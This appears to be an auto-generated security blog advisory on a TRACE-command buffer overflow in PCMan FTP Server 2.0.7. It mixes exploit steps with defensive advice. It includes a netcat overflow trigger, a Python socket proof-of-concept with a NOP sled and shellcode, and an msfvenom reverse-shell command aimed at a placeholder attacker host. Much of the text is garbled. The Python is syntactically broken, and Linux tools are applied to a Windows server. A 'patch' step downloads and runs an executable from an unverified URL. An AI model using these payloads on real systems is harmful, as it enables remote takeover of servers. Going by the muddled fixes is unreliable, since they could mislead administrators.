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How CVE-2025-4180 Works
The vulnerability in PCMan FTP Server 2.0.7 arises due to improper bounds checking in the TRACE command handler. When a maliciously crafted TRACE request with excessive data is sent, it triggers a buffer overflow in the server’s memory. This allows attackers to overwrite critical stack or heap structures, potentially leading to arbitrary code execution. The flaw is remotely exploitable without authentication, making it critical. Attackers can leverage this to gain full control over the server by sending a specially designed payload that corrupts memory and redirects execution flow.
DailyCVE Form
Platform: PCMan FTP Server
Version: 2.0.7
Vulnerability: Buffer Overflow
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation Analysis
1. Triggering the Overflow:
python -c "print('TRACE ' + 'A' 2000)" | nc <target_IP> 21
2. Exploit Payload (PoC):
import socket target = "192.168.1.100" port = 21 payload = "TRACE " + "A" 1024 + "\x90" 50 + shellcode s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(payload)
3. Shellcode Generation:
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker_IP> LPORT=4444 -f python
Protection Measures
1. Patch Application:
wget https://patch.pcmanftp.com/2.0.8/update -O patch.exe && ./patch.exe
2. Network Mitigation:
iptables -A INPUT -p tcp --dport 21 -j DROP
3. Memory Protection:
Enable DEP and ASLR on the server.
Set-ProcessMitigation -Name pcmanftpd.exe -Enable DEP,ASLR
Detection & Logging
1. Snort Rule:
alert tcp any any -> any 21 (msg:"PCMan FTP TRACE Overflow Attempt"; content:"TRACE"; depth:6; isdataat:1000,relative;)
2. Audit Logging:
auditctl -a always,exit -F arch=b64 -S execve -k pcman_exploit
Post-Exploitation Analysis
1. Crash Dump Analysis:
gdb -q /usr/bin/pcmanftpd core.dump
2. Forensic Artifacts:
strings /var/log/pcmanftpd.log | grep "TRACE"
References
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
